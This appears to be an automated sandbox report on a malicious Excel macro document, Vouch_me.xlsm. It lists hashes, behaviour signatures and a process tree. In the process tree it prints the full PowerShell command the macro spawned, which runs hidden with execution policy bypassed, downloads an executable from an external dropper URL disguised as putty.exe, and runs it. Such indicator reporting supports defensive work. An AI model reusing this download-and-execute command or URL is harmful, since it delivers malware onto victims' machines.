Overview

overview

10

Static

static

Vouch_me.xlsm

windows7_x64

10

Vouch_me.xlsm

windows10_x64

10

Analysis

  • max time kernel
    130s
  • max time network
    136s
  • platform
    windows7_x64
  • resource
    win7
  • submitted
    08/07/2020, 07:45

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General

  • Target
    Vouch_me.xlsm
  • Size 48KB
  • Sample200708-t28z2prmx2
  • SHA256 3d2f4071f4039fc8d0fa05ecc9cbad6f350e028dbae28f059d6f40446e688a16
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Extracted

Language

  • ps1

Source
URLs
  • exe.dropper

    https://seedwellresources.xyz/uT5wiEYASje8CME.exe

Signatures

  • Suspicious use of WriteProcessMemory 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Blacklisted process makes network request 1 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present

Processes

  • C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\Vouch_me.xlsm
    1⤵
    • Suspicious use of WriteProcessMemory
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:1412
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy bypass -W Hidden -command (new-object System.Net.WebClient).DownloadFile('https://seedwellresources.xyz/uT5wiEYASje8CME.exe',$env:Temp+'\putty.exe');(New-Object -com Shell.Application).ShellExecute($env:Temp+'\putty.exe')
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      • Blacklisted process makes network request
      • Process spawned unexpected child process
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: GetForegroundWindowSpam
      PID:300

Network

        MITRE ATT&CK Matrix

        Replay Monitor

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        Downloads

        memory/1412-1-0x0000000005FF0000-0x00000000060F0000-memory.dmp
        Download

        memory/1412-2-0x0000000005FF0000-0x00000000060F0000-memory.dmp
        Download

        memory/1412-3-0x0000000005FF0000-0x00000000060F0000-memory.dmp
        Download